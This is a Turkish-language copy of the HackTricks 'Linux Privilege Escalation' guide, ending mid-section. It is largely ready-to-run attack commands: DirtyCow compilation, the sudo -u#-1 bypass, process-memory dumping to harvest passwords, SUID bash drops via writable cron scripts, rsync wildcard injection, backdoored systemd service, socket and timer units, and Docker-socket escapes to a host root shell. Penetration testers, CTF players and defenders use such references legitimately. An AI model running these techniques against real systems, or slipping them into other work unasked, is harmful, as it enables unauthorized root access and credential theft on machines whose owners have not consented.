Linux Privilege Escalation

HackTricks'i Destekleyin

Sistem Bilgileri

İşletim Sistemi Bilgileri

Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Yol

Eğer PATH değişkeni içindeki herhangi bir klasörde yazma izniniz varsa, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz:

echo $PATH

Ortam bilgisi

Ortam değişkenlerinde ilginç bilgiler, şifreler veya API anahtarları var mı?

(env || set) 2>/dev/null

Kernel açıkları

Kernel sürümünü kontrol edin ve ayrıcalıkları yükseltmek için kullanılabilecek bir açık olup olmadığını kontrol edin.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

İyi bir zayıf çekirdek listesi ve zaten derlenmiş bazı saldırıları burada bulabilirsiniz: https://github.com/lucyoa/kernel-exploits ve exploitdb sploits. Bazı derlenmiş saldırıları bulabileceğiniz diğer siteler: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

O web sitesinden tüm zayıf çekirdek sürümlerini çıkarmak için:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Kernel exploits aramak için yardımcı olabilecek araçlar:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploitleri kontrol eder)

Her zaman Google'da kernel sürümünü arayın, belki kernel sürümünüz bazı kernel exploitlerinde yazılıdır ve bu sayede bu exploitin geçerli olduğundan emin olabilirsiniz.

CVE-2016-5195 (DirtyCow)

Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo sürümü

Vulnerabl sudo sürümlerine dayanarak:

searchsploit sudo

Sudo sürümünün zayıf olup olmadığını bu grep kullanarak kontrol edebilirsiniz.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

@sickrov tarafından

sudo -u#-1 /bin/bash

Dmesg imza doğrulaması başarısız oldu

Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için HTB'nin smasher2 kutusuna bakın

dmesg 2>/dev/null | grep "signature"

Daha fazla sistem tespiti

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Olası savunmaları sırala

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış izinlerden kaynaklanan güvenlik açıklarını azaltmaya yardımcı olur. SElinux, uygulamaların ve kullanıcıların erişebileceği kaynakları sınırlamak için zorlayıcı bir politika uygular. Bu sayede, kötü amaçlı yazılımların ve saldırganların sisteme sızma olasılığını azaltır.

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

Adres Alanı Rastgele Konumlandırma (ASLR), saldırganların hedef sistemdeki bellek bölgelerinin konumunu tahmin etmesini zorlaştıran bir güvenlik önlemidir. Bu yöntem, bellek bölgelerinin rastgele adreslere yerleştirilmesini sağlayarak saldırıların etkisini azaltır.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Kaçışı

Eğer bir docker konteynerinin içindeyseniz, ondan kaçmaya çalışabilirsiniz:

Sürücüler

Nelerin bağlandığını ve bağlanmadığını, nerede ve neden kontrol edin. Eğer bir şey bağlanmamışsa, onu bağlamayı deneyebilir ve özel bilgileri kontrol edebilirsiniz.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Kullanışlı yazılımlar

Yararlı ikili dosyaları listeleyin

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Ayrıca, herhangi bir derleyicinin yüklü olup olmadığını kontrol edin. Bu, bazı kernel açıklarını kullanmanız gerektiğinde faydalıdır çünkü derlemeyi kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir.

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Yüklü Güvenlik Açığı Bulunan Yazılımlar

Yüklü paketlerin ve hizmetlerin sürümlerini kontrol edin. Belki de ayrıcalıkları yükseltmek için sömürülebilecek eski bir Nagios sürümü gibi bir yazılım bulunabilir... Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir.

dpkg -l #Debian
rpm -qa #Centos

Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için openVAS'ı da kullanabilirsiniz.

Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle yüklü yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamalar önerilir

İşlemler

Hangi işlemlerin yürütüldüğüne bakın ve herhangi bir işlemin olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını kontrol edin (belki de root tarafından yürütülen bir tomcat olabilir mi?)

ps aux
ps -ef
top -n 1

Her zaman çalışan electron/cef/chromium hata ayıklayıcılarını kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. Linpeas, sürecin komut satırında --inspect parametresini kontrol ederek bunları tespit eder. Ayrıca süreç ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin, belki birinin üzerine yazabilirsiniz.

Süreç izleme

pspy gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık ​​sık yürütülen savunmasız süreçleri veya belirli gereksinimlerin karşılandığı durumları tanımlamak için çok yararlı olabilir.

Süreç belleği

Bir sunucunun bazı hizmetleri kimlik bilgilerini açık metin olarak belleğin içine kaydeder. Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için kök ayrıcalıklarına ihtiyacınız olacaktır, bu nedenle bu genellikle zaten kök kullanıcıysanız ve daha fazla kimlik bilgisi keşfetmek istiyorsanız daha yararlı olacaktır. Ancak, normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz.

Günümüzde çoğu makine varsayılan olarak ptrace izin vermez, bu da başka bir kullanıcıya ait diğer süreçleri dökemeyeceğiniz anlamına gelir.

Proc/sys/kernel/yama/ptrace_scope dosyası ptrace erişilebilirliğini kontrol eder:

  • kernel.yama.ptrace_scope = 0: aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.

  • kernel.yama.ptrace_scope = 1: yalnızca bir üst süreç hata ayıklanabilir.

  • kernel.yama.ptrace_scope = 2: Yalnızca yönetici ptrace kullanabilir, çünkü CAP_SYS_PTRACE yetkisi gerektirir.

  • kernel.yama.ptrace_scope = 3: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gereklidir.

GDB

Örneğin bir FTP hizmetinin belleğine erişiminiz varsa, Heap'i alabilir ve kimlik bilgilerini içinde arayabilirsiniz.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Betiği

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps ve /proc/$pid/mem

Verilen bir işlem kimliği için haritalar, o işlemin sanal adres alanı içinde nasıl belleğe haritalandığını gösterir; ayrıca her haritalanmış bölgenin izinlerini de gösterir. Mem sahte dosyası işlemlerin belleğini kendisi açığa çıkarır. Haritalar dosyasından hangi bellek bölgelerinin okunabilir olduğunu ve ofsetlerini bildiğimizden, bu bilgiyi kullanarak mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek için kullanırız.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem, sanal bellek değil, sistemin fiziksel belleğine erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir. Genellikle, /dev/mem yalnızca root ve kmem grupları tarafından okunabilir.

strings /dev/mem -n10 | grep -i PASS

Linux için ProcDump

ProcDump, Windows için Sysinternals araç takımından klasik ProcDump aracının Linux için yeniden hayal edilmiş halidir. https://github.com/Sysinternals/ProcDump-for-Linux adresinden edinebilirsiniz.

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Araçlar

Bir işlem belleğini dökmek için şunları kullanabilirsiniz:

İşlem Belleğinden Kimlik Bilgileri

Manuel örnek

Eğer doğrulayıcı işleminin çalıştığını bulursanız:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Prosesi dökümleyebilirsiniz (farklı yöntemleri bulmak için önceki bölümlere bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Araç https://github.com/huntergregal/mimipenguin açık metin kimlik bilgilerini bellekten çalar ve bazı tanınmış dosyalardan çalar. Doğru çalışabilmesi için kök ayrıcalıklarına ihtiyaç duyar.

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Zamanlanmış/Cron işleri

Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? sembollü bağlantıları kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron yolu

Örneğin, /etc/crontab dosyasının içinde PATH'i şu şekilde bulabilirsiniz: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

("user" kullanıcısının /home/user üzerinde yazma izinlerine sahip olduğuna dikkat edin)

Eğer bu crontab dosyasının içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden deneme yaparsa. Örneğin: * * * * root overwrite.sh O zaman, bir root kabuğuna şu şekilde erişebilirsiniz:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Bir joker karakteriyle bir betik kullanan Cron (Joker Karakteri Enjeksiyonu)

Eğer bir betik root tarafından çalıştırılıyorsa ve komut içinde "*" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Eğer joker karakteri bir yolun önünde gelirse /bazı/yol/* şeklinde, bu zayıf değildir (hatta ./* değil).

Daha fazla joker karakteri sömürüsü hilesi için aşağıdaki sayfayı okuyun:

Cron betiği üzerine yazma ve sembolik bağlantı

Eğer kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız, çok kolay bir şekilde bir kabuk alabilirsiniz:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Eğer root tarafından yürütülen betik, tam erişiminiz olan bir dizini kullanıyorsa, belki o klasörü silip yerine sizin kontrol ettiğiniz bir betiği hizmet eden başka bir dizine sembolik bağlantı oluşturmak faydalı olabilir.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Sık kullanılan cron işleri

Her 1, 2 veya 5 dakikada bir çalıştırılan işlemleri aramak için süreçleri izleyebilirsiniz. Belki bundan faydalanarak ayrıcalıkları yükseltebilirsiniz.

Örneğin, her 0.1 saniyede bir dakika boyunca izlemek için, daha az çalıştırılan komutlara göre sıralamak ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Ayrıca pspy kullanabilirsiniz (bu, başlatılan her işlemi izleyip listeleyecektir).

Görünmez cron işleri

Bir cron işi oluşturmak mümkündür bir yorumdan sonra bir satır sonu karakteri ekleyerek (newline karakteri olmadan), ve cron işi çalışacaktır. Örnek (satır sonu karakterine dikkat edin):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Hizmetler

Yazılabilir .service dosyaları

Herhangi bir .service dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, onu değiştirebilirsiniz böylece hizmet başlatıldığında, yeniden başlatıldığında veya durdurulduğunda sizin arka kapınızı çalıştırabilir (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir). Örneğin, arka kapınızı .service dosyasının içine ExecStart=/tmp/script.sh şeklinde oluşturun.

Yazılabilir hizmet ikili dosyaları

Hizmetler tarafından çalıştırılan ikili dosyalara yazma izniniz varsa, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden çalıştırıldığında arka kapılar çalıştırılacaktır.

systemd PATH - Göreceli Yollar

systemd tarafından kullanılan PATH'ı görebilirsiniz:

systemctl show-environment

Eğer yolun herhangi bir klasörüne yazma izniniz olduğunu fark ederseniz, muhtemelen yetki yükseltme yapabilirsiniz. Hizmet yapılandırmalarında kullanılan göreceli yolları aramalısınız gibi dosyalar:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Sonra, yürütülebilir bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki ilişkili yol ikili dosyasıyla aynı ada sahip oluşturun ve hizmete bağlı eylemi yürütmesi istendiğinde, arka kapınız çalıştırılacaktır (genellikle yetkisiz kullanıcılar hizmetleri başlatamaz/durduramaz ancak sudo -l komutunu kullanıp kullanamadığınızı kontrol edin).

Hizmetler hakkında daha fazla bilgi edinin man systemd.service.

Zamanlayıcılar

Zamanlayıcılar, adı **.timer** ile biten systemd birim dosyalarıdır ve **.service** dosyalarını veya etkinlikleri kontrol eder. Zamanlayıcılar, takvim zamanı etkinlikleri ve monotonik zaman etkinlikleri için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilir.

Tüm zamanlayıcıları şu şekilde sıralayabilirsiniz:

systemctl list-timers --all

Yazılabilir zamanlayıcılar

Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir .service veya .target gibi systemd.unit varlıklarını çalıştırmak için kullanabilirsiniz.

Unit=backdoor.service

Belgede Ünite'nin ne olduğunu okuyabilirsiniz:

Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı isme sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç olmak üzere aynı şekilde adlandırılması önerilir.

Bu izni kötüye kullanmak için şunlara ihtiyacınız olacaktır:

  • Yazılabilir bir ikili dosya yürüten bir systemd birimi (örneğin .service) bulun

  • Göreceli bir yol yürüten ve sisteminizde yazma izinleriniz olan systemd YOLU üzerinde yürütülebilir dosyayı taklit etmek için yazma izinleriniz olan bir systemd birimi bulun

Zamanlayıcılar hakkında daha fazla bilgi için man systemd.timer komutunu kullanın.

Zamanlayıcıyı Etkinleştirme

Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ihtiyacınız vardır ve şunu yürütmeniz gerekir:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Soketler

Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde işlem iletişimini sağlar. İnter-bilgisayar iletişimi için standart Unix tanımlayıcı dosyalarını kullanır ve .socket dosyaları aracılığıyla kurulur.

Soketler .socket dosyaları kullanılarak yapılandırılabilir.

Soketler hakkında daha fazla bilgi edinin man systemd.socket. Bu dosya içinde birkaç ilginç parametre yapılandırılabilir:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Bu seçenekler farklıdır ancak bir özet, sokete nerede dinleyeceğini belirtmek için kullanılır (AF_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.).

  • Accept: Bir boolean argüman alır. true ise, her gelen bağlantı için bir hizmet örneği başlatılır ve yalnızca bağlantı soketi ona iletilir. false ise, tüm dinleme soketleri kendileri başlatılan hizmet birimine iletilir ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı veri yuvaları ve FIFO'lar için yoksayılır. Varsayılan olarak false. Performans nedenlerinden dolayı, yeni daemon'ların yalnızca Accept=no için uygun bir şekilde yazılması önerilir.

  • ExecStartPre, ExecStartPost: Bir veya daha fazla komut satırı alır, bunlar dinleme soketlerinden önce veya sonra yürütülür/FIFO'lar oluşturulur ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.

  • ExecStopPre, ExecStopPost: Dinleme soketlerinden önce veya sonra ek komutlar yürütülür/FIFO'lar kapatılır ve kaldırılır.

  • Service: Gelen trafiği etkinleştirmek için hizmet birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (soneki değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekir.

Yazılabilir .socket dosyaları

Eğer yazılabilir bir .socket dosyası bulursanız, [Socket] bölümünün başına şöyle bir şey ekleyebilirsiniz: ExecStartPre=/home/kali/sys/backdoor ve arka kapı soket oluşturulmadan önce yürütülecektir. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekebilir. Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı yürütülmeyecektir

Yazılabilir soketler

Eğer herhangi bir yazılabilir soket belirlerseniz (şu anda Unix Soketleri hakkında konuşuyoruz ve .socket dosyaları yapılandırması hakkında değil), o soketle iletişim kurabilir ve belki bir zafiyeti sömürebilirsiniz.

Unix Soketlerini Sırala

netstat -a -p --unix

Ham bağlantı

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Sömürü örneği:

HTTP soketleri

Unutmayın ki bazı HTTP isteklerini dinleyen soketler olabilir (Ben .socket dosyalarından bahsetmiyorum, ancak unix soketleri olarak hareket eden dosyalardan bahsediyorum). Bunun kontrolünü şu şekilde yapabilirsiniz:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Yazılabilir Docker Soketi

Docker soketi, genellikle /var/run/docker.sock konumunda bulunan ve güvenli olması gereken kritik bir dosyadır. Varsayılan olarak, bu dosya root kullanıcısı ve docker grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. Bunun nasıl yapılabileceği ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıda açıklanmıştır.

Docker CLI ile Ayrıcalık Yükseltme

Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanarak ayrıcalıkları yükseltebilirsiniz:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Bu komutlar, ana bilgisayar dosya sisteminin kök düzey erişimine sahip bir konteyneri çalıştırmanıza olanak tanır.

Docker API'sını Doğrudan Kullanma

Docker CLI kullanılamadığında Docker soketi, Docker API ve curl komutları kullanılarak hala manipüle edilebilir.

  1. Docker Görüntülerini Listeleme: Mevcut görüntülerin listesini alın.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Bir Konteyner Oluşturma: Ana sistem kök dizinini bağlayan bir konteyner oluşturmak için bir istek gönderin.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Yeni oluşturulan konteyneri başlatın:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Konteynere Bağlanma: socat kullanarak bir bağlantı kurarak, içinde komut yürütme imkanı sağlayan bir bağlantı oluşturun.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

socat bağlantısını kurduktan sonra, ana bilgisayar dosya sisteminin kök düzey erişimine sahip olarak konteynerde doğrudan komutlar yürütebilirsiniz.

Diğerleri

Docker soketi üzerinde yazma izinleriniz varsa çünkü docker grubu içindesiniz, ayrıcalıkları yükseltmek için daha fazla yolunuz olabilir. Docker API'nin bir portta dinlediği durumda, bunu tehlikeye atabilirsiniz.

Docker'dan kaçmak veya ayrıcalıkları yükseltmek için daha fazla yolunuzu kırmak için kontrol edin:

Containerd (ctr) ayrıcalık yükseltme

Eğer ctr komutunu kullanabildiğinizi fark ederseniz, ayrıcalıkları yükseltmek için bunu kötüye kullanabilirsiniz:

RunC ayrıcalık yükseltme

Eğer runc komutunu kullanabildiğinizi fark ederseniz, ayrıcalıkları yükseltmek için bunu kötüye kullanabilirsiniz:

D-Bus

D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir İşlem Arası İletişim (IPC) sistemidir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.

Sistem, işlem arası iletişimi geliştiren temel IPC'yi destekler ve veri alışverişini artırır, gelişmiş UNIX etki alanı soketlerini hatırlatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, bir müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir.

D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) eşleşen politika kurallarının kümülatif etkisine dayanarak yöneten bir izin/izin verme modeli üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri yönetir ve bu izinlerin sömürülmesi yoluyla ayrıcalık yükseltmesine olanak tanır.

Örneğin, /etc/dbus-1/system.d/wpa_supplicant.conf dosyasındaki bir politika, kök kullanıcısının fi.w1.wpa_supplicant1'e ait mesajları sahiplenme, gönderme ve almasına ilişkin izinleri detaylandırır.

Belirli bir kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm uygulamalar için geçerlidir.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

D-Bus iletişimini nasıl sıralayıp istismar edeceğinizi öğrenin:

Makinenin konumunu belirlemek için ağın sıralanması her zaman ilginçtir.

Genel sıralama

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Açık Portlar

Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ hizmetlerini kontrol edin:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Trafik dinleyebildiğinizi kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz.

timeout 1 tcpdump

Kullanıcılar

Genel Sıralama

Kendinizin kim olduğunu, hangi ayrıcalıklara sahip olduğunuzu, sistemlerde hangi kullanıcıların bulunduğunu, hangilerinin giriş yapabileceğini ve hangilerinin kök ayrıcalıklarına sahip olduğunu kontrol edin:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Büyük UID

Bazı Linux sürümleri, UID > INT_MAX olan kullanıcıların ayrıcalıklarını yükseltmelerine izin veren bir hata ile etkilenmiştir. Daha fazla bilgi için: buraya, buraya ve buraya. Exploit etmek için: systemd-run -t /bin/bash

Gruplar

Kök ayrıcalıklarını size verebilecek bazı grup üyesi olup olmadığını kontrol edin:

Pano

Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`